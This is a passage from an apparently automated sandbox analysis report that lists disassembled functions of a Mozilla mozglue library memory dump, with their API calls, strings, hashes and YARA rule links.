moz_xmalloc.MOZGLUE(00000080,?,6CAAD9A8), ref: 6CAA8D38
InitializeConditionVariable.KERNEL32(00000000,?,?,?,6CAAD9A8), ref: 6CAA8D59

Strings

D($/, xrefs: 6CAA8CF8

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ConditionCurrentInitializeThreadVariablemoz_xmalloc
String ID: D($/
API String ID: 3275805834-324952136
Opcode ID: 29536e5c544d3e869fe1acacef5d7f608e7a512e63c0940770b0260c708e5b02
Instruction ID: c7ea79d0862c992b11afff3b362b8b7815f4dee361f7879fa01b2f303a48c739
Opcode Fuzzy Hash: 29536e5c544d3e869fe1acacef5d7f608e7a512e63c0940770b0260c708e5b02
Instruction Fuzzy Hash: EA217C70A007468FDB94CF69D4446AAB7F1FF99304F14892ED48697710EB70B58ACF90

Function 6CAC9650 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

_dtest.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC9675
_dtest.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC968E
?fromString@Decimal@blink@@SA?AV12@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE(?), ref: 6CAC96F6

Strings

D($/, xrefs: 6CAC9663

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: _dtest$?fromD@2@@std@@@D@std@@Decimal@blink@@String@U?$char_traits@V12@V?$allocator@V?$basic_string@
String ID: D($/
API String ID: 1331236360-324952136
Opcode ID: 32453dd9b257f34b476973b680a4eba7d0e9cb4d9b3ab275c9502bc1441ad8a1
Instruction ID: a3db145a7c0830a8fc8d586610c5f5ac7a4e000e650f6ac23cd29ba18ffe689e
Opcode Fuzzy Hash: 32453dd9b257f34b476973b680a4eba7d0e9cb4d9b3ab275c9502bc1441ad8a1
Instruction Fuzzy Hash: FF11D370A007048FC754DF38D90419BB7F4EF4A324B00C62DE8AE9B740E7309199CB82

Function 6CACB4C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000002,?,6CA70A40), ref: 6CACB52D
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,00000002,?,6CA70A40), ref: 6CACB556
__Init_thread_footer.LIBCMT ref: 6CACB569

Strings

D($/, xrefs: 6CACB4CB

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: InfoInit_thread_footerProtectSystemVirtual
String ID: D($/
API String ID: 1391590832-324952136
Opcode ID: f647d2a203e5f30e432e28b3099e4e81661ebf2d23a0d465fdd49fff156e22d7
Instruction ID: 73d48e2e64036d244a31c9b056997f0bf542f6e428b3ad945c617bfc1168a370
Opcode Fuzzy Hash: f647d2a203e5f30e432e28b3099e4e81661ebf2d23a0d465fdd49fff156e22d7
Instruction Fuzzy Hash: 91117F31B0030ADFDB04DF59E98495A77F1FB4E314B048629E40647740D732B886DBE2

Function 6CAA3CF0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAA3D19
mozalloc_abort.MOZGLUE(?), ref: 6CAA3D6C

Strings

d, xrefs: 6CAA3D58
D($/, xrefs: 6CAA3CFE

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d$D($/
API String ID: 3471241338-344463260
Opcode ID: 4e45fe712c517d13cc52a05667c8c1385a5438523ba0a8c9c93553e952be8aad
Instruction ID: 26480d3ea245e8f96332cfee04d77a6c153288d26fd1f42432761963f6b206ce
Opcode Fuzzy Hash: 4e45fe712c517d13cc52a05667c8c1385a5438523ba0a8c9c93553e952be8aad
Instruction Fuzzy Hash: A8110431E04789DBDF048BA9C8144EDB775EF8A218B488718DC85A7612EB30E5CAC790

Function 6CAC60F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CAC6108

Part of subcall function 6CA9FA80: GetCurrentThreadId.KERNEL32 ref: 6CA9FA8D
Part of subcall function 6CA9FA80: AcquireSRWLockExclusive.KERNEL32(6CAEF448), ref: 6CA9FA99

?writeUnlock@RWLockImpl@detail@mozilla@@IAEXXZ.MOZGLUE ref: 6CAC612B

Part of subcall function 6CA9A030: ReleaseSRWLockExclusive.KERNEL32 ref: 6CA9A034

??$AddMarkerToBuffer@UNoPayload@markers@baseprofiler@mozilla@@$$V@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@AAVProfileChunkedBuffer@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UNoPayload@markers@01@@Z.MOZGLUE ref: 6CAC6158

Strings

D($/, xrefs: 6CAC60FE

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: LockMarkerProfile$ChunkedExclusive$?profiler_get_core_buffer@baseprofiler@mozilla@@?writeAcquireBlockBufferBuffer@Buffer@1@Buffer@2@Category@1@$$CurrentD@1@Impl@detail@mozilla@@Index@1@Options@1@Payload@markers@01@@Payload@markers@baseprofiler@mozilla@@$$ProfilerReleaseStringThreadUnlock@V@baseprofiler@mozilla@@View@
String ID: D($/
API String ID: 2322322896-324952136
Opcode ID: 0b9408dbe60303b75902973c6df7c3582ad0063261db90f21af2435f78f1c660
Instruction ID: 9d3bb541721e2db014378678f7cc2a428f8fa6103b676c9834000d83a71ab74a
Opcode Fuzzy Hash: 0b9408dbe60303b75902973c6df7c3582ad0063261db90f21af2435f78f1c660
Instruction Fuzzy Hash: CF016170A143459FCB44CF68D5812AFBBF4AF48214F54482DE889D7701D770D888CBD2

Function 6CACAE70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CACAE85
EnterCriticalSection.KERNEL32(6CAEF770,?,6CA8C034), ref: 6CACAE96
LeaveCriticalSection.KERNEL32(6CAEF770,?,?,?,?,6CA8C034), ref: 6CACAEBD

Strings

D($/, xrefs: 6CACAE7B

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread
String ID: D($/
API String ID: 2351996187-324952136
Opcode ID: c74330305d4584d353eaf24fec9bf7cd55e0b324f005f2c4a9de23b36d07acd4
Instruction ID: b07ccc5f012134a6c8248c581a9fb84e34c941de5e431261313c3bd6d5174915
Opcode Fuzzy Hash: c74330305d4584d353eaf24fec9bf7cd55e0b324f005f2c4a9de23b36d07acd4
Instruction Fuzzy Hash: CBF0AFB5E0031A9BCB149FA9E88996BBBB9EF4D2157004429E50597301D631A849CBE4

Function 6CAAF410 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAAF440
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAF44D
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAF472
GetCurrentThreadId.KERNEL32 ref: 6CAAF489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAF491
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CAAF4A8

Part of subcall function 6CAAF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAAF09B
Part of subcall function 6CAAF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CAAF0AC
Part of subcall function 6CAAF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CAAF0BE

Part of subcall function 6CA9CBE8: GetCurrentProcess.KERNEL32(?,6CA631A7), ref: 6CA9CBF1
Part of subcall function 6CA9CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA631A7), ref: 6CA9CBFA

GetCurrentThreadId.KERNEL32 ref: 6CAAF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAF561
GetCurrentThreadId.KERNEL32 ref: 6CAAF577
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAF585
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6CAAF499
[I %d/%d] profiler_resume, xrefs: 6CAAF239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CAAF56A
[I %d/%d] profiler_pause_sampling, xrefs: 6CAAF3A8
D($/, xrefs: 6CAAF07C, 6CAAF1BA, 6CAAF32A, 6CAAF41A

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Current$ExclusiveLockThread$Timegetenv$AcquireProcessReleaseStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@Init_thread_footerNow@Stamp@mozilla@@TerminateV12@_
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling$D($/
API String ID: 200552284-2650460947
Opcode ID: 874a3e0a6835eaba3599f06841e84391116e445c62892f03245212977fa1834b
Instruction ID: 9cd8395556474ba648469227397fff3388cf37f73781c45c970a3db7bb037883
Opcode Fuzzy Hash: 874a3e0a6835eaba3599f06841e84391116e445c62892f03245212977fa1834b
Instruction Fuzzy Hash: 63F0C2316003128FCB589FA4A80839577B4EB4E228F00461DD91153641D731158A97E9

Function 6CAAEF80 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAAEFB0
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEFBD
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEFE1
GetCurrentThreadId.KERNEL32 ref: 6CAAEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAF000
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CAAF02F

Part of subcall function 6CAAF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAAF09B
Part of subcall function 6CAAF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CAAF0AC
Part of subcall function 6CAAF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CAAF0BE

Part of subcall function 6CA9CBE8: GetCurrentProcess.KERNEL32(?,6CA631A7), ref: 6CA9CBF1
Part of subcall function 6CA9CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA631A7), ref: 6CA9CBFA

Strings

[I %d/%d] profiler_pause, xrefs: 6CAAF008
[I %d/%d] profiler_stop, xrefs: 6CAAEED7
D($/, xrefs: 6CAAEF8A

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CurrentTimegetenv$ExclusiveLockProcessStampThreadV01@@Value@mozilla@@$?profiler_time@baseprofiler@mozilla@@AcquireInit_thread_footerNow@ReleaseStamp@mozilla@@TerminateV12@__getpid
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop$D($/
API String ID: 2885066631-1640192627
Opcode ID: ee159ae42159fe140ed4045612cd4ef6c429fe549310c09a443f3ebcd7d44a49
Instruction ID: cb45b9b7480d2812d7accb934cab708a0ca808c3c396aece27f3974795f86d85
Opcode Fuzzy Hash: ee159ae42159fe140ed4045612cd4ef6c429fe549310c09a443f3ebcd7d44a49
Instruction Fuzzy Hash: B2F09031600306CFDB88DFA5F8097957BB0EB4E359F00461DD91143A81E735158BEBEA

Function 6CABCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CAADA31,00100000,?,?,00000000,?), ref: 6CABCDA4

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

Part of subcall function 6CABD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CABCDBA,00100000,?,00000000,?,6CAADA31,00100000,?,?,00000000,?), ref: 6CABD158
Part of subcall function 6CABD130: InitializeConditionVariable.KERNEL32(00000098,?,6CABCDBA,00100000,?,00000000,?,6CAADA31,00100000,?,?,00000000,?), ref: 6CABD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CAADA31,00100000,?,?,00000000,?), ref: 6CABCDC4

Part of subcall function 6CAB7480: ReleaseSRWLockExclusive.KERNEL32(?,6CAC15FC,?,?,?,?,6CAC15FC,?), ref: 6CAB74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CAADA31,00100000,?,?,00000000,?), ref: 6CABCECC

Part of subcall function 6CA7CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA7CAA2

Part of subcall function 6CAACB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CABCEEA,?,?,?,?,00000000,?,6CAADA31,00100000,?,?,00000000), ref: 6CAACB57
Part of subcall function 6CAACB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CAACBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CABCEEA,?,?), ref: 6CAACBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CAADA31,00100000,?,?,00000000,?), ref: 6CABD058

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 5525a589f3aa030655e7144b7362cfa61ccecb8da62df1bbf7b05d6de1806f82
Instruction ID: efd941865964e9e449508ed75ffce9ddba9ff06175c57c2ec0d8eb975a337057
Opcode Fuzzy Hash: 5525a589f3aa030655e7144b7362cfa61ccecb8da62df1bbf7b05d6de1806f82
Instruction Fuzzy Hash: 2FD16C71A04B069FD708CF38C580B99B7E1FF89308F05866DD8599B712EB31A9A5CB81

Function 6CAA4F70 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 165stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAA501B
memcpy.VCRUNTIME140(?,?,00000200), ref: 6CAA515B

Strings

..., xrefs: 6CAA513A
D($/, xrefs: 6CAA4F81

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: ...$D($/
API String ID: 3412268980-1472507125
Opcode ID: e7e35a431c970378793443b426b573fba26aa6dd41135888a63f872a30975d68
Instruction ID: 7f117cd472a91c4bed13a272c02972a024021794e0cbb99412f530ff63346fd9
Opcode Fuzzy Hash: e7e35a431c970378793443b426b573fba26aa6dd41135888a63f872a30975d68
Instruction Fuzzy Hash: AD616E70A083469FC700CF59D580A8BBBE1AF99308F048A6DF48997751E731E95ACB97

Function 6CA85C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CA85D40
EnterCriticalSection.KERNEL32(6CAEF688), ref: 6CA85D67
__aulldiv.LIBCMT ref: 6CA85DB4
LeaveCriticalSection.KERNEL32(6CAEF688), ref: 6CA85DED

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: b00fead2e6e4b4a7c4c90ba249b79996daed429101766b4e74d24a2bfab04c5c
Instruction ID: c778a48ca5468714decd5af88ebb5dee83f8c0280375fee2e432bf2b5beaea8e
Opcode Fuzzy Hash: b00fead2e6e4b4a7c4c90ba249b79996daed429101766b4e74d24a2bfab04c5c
Instruction Fuzzy Hash: D7515E71E0125A8FDF08CFA8C954AAEBBB2FB89304F19861DDC11A7750C7306986DBD0

Function 6CA74C00 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAEE7DC), ref: 6CA74C2F
LeaveCriticalSection.KERNEL32(6CAEE7DC), ref: 6CA74C82
EnterCriticalSection.KERNEL32(6CAEE7DC), ref: 6CA74C89

Strings

MOZ_PROFILER_STARTUP, xrefs: 6CA755E1
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA754B9
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA7548D
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CA75717
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA75791
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CA757AE
GeckoMain, xrefs: 6CA75554, 6CA755D5
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA754A3
D($/, xrefs: 6CA74C0F, 6CA7544F
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA75766
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA75724
MOZ_BASE_PROFILER_HELP, xrefs: 6CA75511
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA757C5
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA750F3, 6CA75121, 6CA7513C
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CA75749
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CA756E3

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID: GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$MOZ_RELEASE_ASSERT(mNode)$[I %d/%d] - MOZ_PROFILER_STARTUP is set$D($/
API String ID: 2801635615-3656192668
Opcode ID: b55021985a02ac2201f6ca6a7c008b1f75b1fde81355a0976157544447c851da
Instruction ID: 5a2d6b50dca5d5754b505a093ed3d133a9ae53b1f922e3e5b15a24247cb2a98b
Opcode Fuzzy Hash: b55021985a02ac2201f6ca6a7c008b1f75b1fde81355a0976157544447c851da
Instruction Fuzzy Hash: B441A4353053118BE729DF29C59472977E1BF86728F2C862CD9658BAD1CB30D4C68FA1

Function 6CA9FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CABD019,?,?,?,?,?,00000000,?,6CAADA31,00100000,?), ref: 6CA9FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CABD019,?,?,?,?,?,00000000,?,6CAADA31,00100000,?,?), ref: 6CA9FFF5
free.MOZGLUE(?,?,?,?,?,6CABD019,?,?,?,?,?,00000000,?,6CAADA31,00100000,?), ref: 6CAA001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CABD019,?,?,?,?,?,00000000,?,6CAADA31,00100000,?,?), ref: 6CAA002A

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: c12bc1d3b4757494b0d306515c8f8a2b7d03b83c74bb828902eccd30bf71d72e
Instruction ID: 2348fd79bb9d01dee40de42f0722b8f1bf6231b975bf524468beb19deded7d3e
Opcode Fuzzy Hash: c12bc1d3b4757494b0d306515c8f8a2b7d03b83c74bb828902eccd30bf71d72e
Instruction Fuzzy Hash: D62106B2A002155FD7189E7DDC848AFB7FAFB853243250338E426D7780EB30AD4682E1

Function 6CA7B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA7B4F5
